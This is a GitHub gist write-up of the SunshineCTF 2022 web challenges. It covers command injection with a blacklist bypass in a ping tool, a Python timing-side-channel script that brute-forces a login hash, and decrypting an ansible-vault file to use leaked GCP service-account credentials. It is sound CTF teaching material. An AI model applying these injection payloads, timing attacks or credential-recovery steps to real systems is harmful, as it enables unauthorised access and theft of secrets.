Skip to content

Instantly share code, notes, and snippets.

@SalScotto
Created November 22, 2022 23:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SalScotto/d855c77d07907f9768656e64a27b6887 to your computer and use it in GitHub Desktop.
Save SalScotto/d855c77d07907f9768656e64a27b6887 to your computer and use it in GitHub Desktop.
Writeup all-web challenges - SunshineCTF 2022

Transparency

50 points

This one is simple! Just look where you might look at the cryptographic history of the sunshinectf.org domain! There's a Yeti in one and a Nimbus in another!

Here, we're asked to chech the cryptographic history of the challenge domain. Since we're talking about a website, it can only mean to check the history of its security certificates!

We can see it by visiting crt.sh. This is an OSINT Tool aimed to gather info on certificates emitted to the certificate transparency logs,

Searching for the given domain we can find the flag in the identifiers set for the certificate on the 18th of november:

crt

Inspect Element

DONT inspect-element

50 points

Our education game servers are now secure.

They used to have flags on them, but we've made the website 100% secure now.

All malicious hackers are now instructed, do not use inspect element on this page.

Problemo solved! Navigate to our website: educashun-game.web.2022.sunshinectf.org/login.html and fetch what you need to fetch. 100% secure!

So, are you telling me that I cannot use inspect element? challenge accepted

Reviewing the page source we can easily get the flag as the text attribute of the first span element

source

Or else, if we really wanted to use inspect element, the "target" of this challenge is the white text at the right of the page heading

text

inspect

Network Pong

100 points

Introducing Network Pong: Pong for the Internet! In this game, you just ping random websites and try to get the lowest latency.

It is protected with state-of-the-art anti-hacking techniques, so it should be unhackable according to our security team of well-trained monkeys and felines. https://pong.web.2022.sunshinectf.org

This is a simple webpage that lets the user run the ping command, vulnerable with code injection.

I've solved with the help of hacktricks.xyz

Let's start with some basic test. Since we know that is running ping, we can try to inject something in the shell that's running it.

If we try to add a space, we'll get: Error: Please only enter the IP or domain!

By writing ;ls we get:

/bin/bash: line 1: {ping,-c,1,: command not found
/bin/bash: line 1: ls}: command not found

So, we can see that the command is enclosed in { in order to not have spaces

With google.com};ls;{ we get the file list:

PING google.com (142.251.161.139): 56 data bytes
ping: permission denied (are you root?)
Dockerfile
docker-entrypoint.sh
flag.txt
index.py
requirements.txt
templates
/bin/bash: line 1: {}: command not found

But if we try to use google.com};{cat,flag.txt the following error will appear: Error: Do not mention body parts, felines, or body parts of felines.

So it seems that cat is filtered (using some sort of blacklist), but from the link aforementioned we can find a solution to this problem: we can escape the characters in cat in order to not have them filtered!

google.com};{c\at,flag.txt

PING google.com (142.251.161.139): 56 data bytes
ping: permission denied (are you root?)
sun{pin9_pin9-pin9_f1@9_pin9}

Timely!

100 points

I've been on a real City Pop binge and thought I would share one of my favorite albums.

  • Comments added in Discord

For Timely! No off the shelf tools such as SqlMap should be necessary. If possible please refrain from using these tools as they cause unneeded load on the web server 😄 As I realize the above might be confusing. It does require smart bruteforcing, however it does not require the use of SqlMap or dumb bruteforcing tools. https://timely.web.2022.sunshinectf.org/

By visiting the website, we're preseted with just a link for a login page and the full Timely!! album from Anri.

homepage

login

The login page has a simple form; besides it does not seem to be vulnerable to the usual SQLi.

While trying random redentials it shows this error message:

standard_error

Visiting robots.txt, we see that we have a page /dev.

Here there are listed two endpoints: dev/hostname which always returns 502 and dev/userswhich contains a list of users:

ahrifan111 (Disabled)
anri (Active)
admin (Disabled)
develop (Disabled)

Trying these users on the login form, we can notice that the error message is different with the active user anri

anri_error

Now, let's see if there's something else in the request. Opening the request details, we can find a strange header debug-lag-fix

header

Fiddling with Burp, we can notice that this only appears for requests with 40 chars (exactly the length of the SHA1 hash).

Given the name of the challenge, we can guess that this time is a valid suggestion that we're closer to the solution. So I've decided to tackle it like a blind sql challenge: use this timing to decide character by character what is the password of the user.

After way too many attemps, here's the code I've used:

import requests
from urllib3 import disable_warnings
disable_warnings()

password = ""
while(len(password) < 40): #Length of the SHA1 hash
    longest = -99
    valid = ''
    for c in "0123456789abcdef": #charset of the hex digest
        try:
            cur_pass = password + c
            cur_pass += "0" * (40 - len(cur_pass)) #pad the rest of the hash with zeroes
            url = "https://timely.web.2022.sunshinectf.org:443/login"
            body={"password": cur_pass, "username": "anri"}
            r = requests.post(url, json=body, verify=False)
            print(c, r.headers['Debug-Lag-Fix']) # Debug print
            time_ms = int(r.headers['Debug-Lag-Fix'][:-2]) # Convert the header value in int
        except KeyError as e: # If the header is missing, the password is valid or the request failed
            print(f"Missing header, status code {r.status_code}")
            if r.status_code == 200: #Is a valid request, the password is complete!!
                longest = 999
                print(r.content, cur_pass)
                break
        if(longest < time_ms):
            longest = time_ms
            valid = c
    password = password + valid
    print(f"Using {valid} with {longest}ms, now proceeding with {password}")

And with that, you'll get the flag:

...
9 3918ns
Missing header, status code 200
b'Congrats! SUN{ci+ypopi56e5+pop2022}'
Using 9 with 999ms, now proceeding with f14586d91fbab8cbd70d3946495a0213066a2269

Listy

150 points

I made a little leaderboard listy app, it's a bit rough so please don't judge me too harshly.

https://listy-web-u7jl3ge7qa-uc.a.run.app/

By visiting the homepage, we can see a simple list with user and score.

homepage

Trying to look deeper in the page won't reveal anything more than the use of some sort of js framework

By trying to open robots.txt, we're greeted with this:

Disallow: *
Disallow: /dev #TODO: Separate off dev branch (https://todo.sr.ht/~listydev/Listy/5)

Now, opening /dev will get us to a 404 page:

/dev page

We can try to open the link in the #TODO comment

issue list

Here is the issues of this project. Inside the issue #5 (the one linked above) we can also go to the source of the project.

sources

From there it's clear that is a cloud project created with terraform: a front-end made with next.js and the api served by a lambda function on gcp. And that is using ansible-vault to store the secrets in the file vault.txt.

Here are the points that cought the attention

# invoke.sh

#!/bin/bash
# Ansible-Vault unlock the gcloud credential
CRED=$(ansible-vault decrypt vault.txt --output /tmp/key.json) 
gcloud auth activate-service-account listy-developer@sunshine-2022-challenges.iam.gserviceaccount
#...
curl -H "Authorization: bearer $(gcloud auth print-identity-token)" https://us-central1-sunshine-2022-challenges.cloudfunctions.net/listy\?bucket\=ssctf22-listy-leaderboard-prod
//list.js:19
//...
const response = await fetch(`https://us-central1-${LEADERBOARD_PROJECT}.cloudfunctions.net/${LEADERBOARD_FUNCTION}?bucket=${BUCKET_NAME}`, {
    headers: {
        Authorization: `bearer ${process.env.GCLOUD_TOKEN}`,
    }
})
//...
//main.tf
################################################################
## Listy Leaderboard Buckets
################################################################

resource "google_storage_bucket" "listy-leaderboard-prod" {
  name          = "ssctf22-listy-leaderboard-prod"
  location      = "US"
  force_destroy = true
}

resource "google_storage_bucket_object" "listy-leaderboard-prod" {
  name   = "leaderboard.csv"
  bucket = google_storage_bucket.listy-leaderboard-prod.name
  source = "./leaderboards/leaderboard-prod.csv"
}


resource "google_storage_bucket" "listy-leaderboard-dev" {
  name          = "ssctf22-listy-leaderboard-dev"
  location      = "US"
  force_destroy = true
}

resource "google_storage_bucket_object" "listy-leaderboard-dev" {
  name   = "leaderboard.csv"
  bucket = google_storage_bucket.listy-leaderboard-dev.name
  source = "./leaderboards/leaderboard-dev.csv"
}

Now, it seems that all we have to do is to read the secret and request the content of the leaderboard-dev, right? We can do this without having to install ansible with virtualhold/ansible-vault image:

$ docker run --rm -it --entrypoint=/bin/bash virtualhold/ansible-vault
---
$ docker cp vault.txt awesome_wu:/playbook/vault.txt
---
root@0cff51ee3821:/playbook# ansible-vault decrypt vault.txt --output /tmp/key.json
Vault password:

But what is the password?

After more time that I'm willing to admit, I've gone back to the issues, hoping to find a hint on how to solve this. And there it was: Issue #4

~listydev

Currently, I'm just using a local script w/ a vaulted file for storing a service account. Maybe pull from the gcloud command natively? For now I'm just vaulting with my email to keep secrets scanners from bugging me.

Having access to the repo, we can easily get the user email from the commit history. A git clone later and here we are:

~/sunshine22/listy/Listy$ git log
commit 3f9c3f2c557aa81f7423d70f0a3252536e4a1f85 (HEAD -> master, origin/master, origin/HEAD)
Author: Listy Dev <dev@listy.com>
Date:   Wed Nov 2 22:23:05 2022 -0600

    static stuff

From now on, it's all downhill. We just have to install the google-cloud-cli (or use another container) to obtain a valid token and we can get the flag!

root@0cff51ee3821:/playbook# ansible-vault decrypt vault.txt --output /tmp/key.json
Vault password: dev@listy.com
Decryption successful

root@0cff51ee3821:/playbook# cat /tmp/key.json 
{
  "type": "service_account",
  "project_id": "sunshine-2022-challenges",
  "private_key_id": ...
}

root@0cff51ee3821:/playbook# gcloud auth activate-service-account listy-developer@sunshine-2022-challenges.iam.gserviceaccount.com '--key-file=/tmp/key.json'
Activated service account credentials for: [listy-developer@sunshine-2022-challenges.iam.gserviceaccount.com]

root@0cff51ee3821:/playbook# curl -H "Authorization: bearer $(gcloud auth print-identity-token)" https://us-central1-sunshine-2022-challenges.cloudfunctions.net/listy\?bucket\=ssctf22-listy-leaderboard-dev

[{"rank":1,"username":"Bill","points":100},{"rank":2,"username":"SpongeBob","points":50},{"rank":3,"username":"sun{5erver1e55-9cp-i5-9re@+}","points":50}]

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment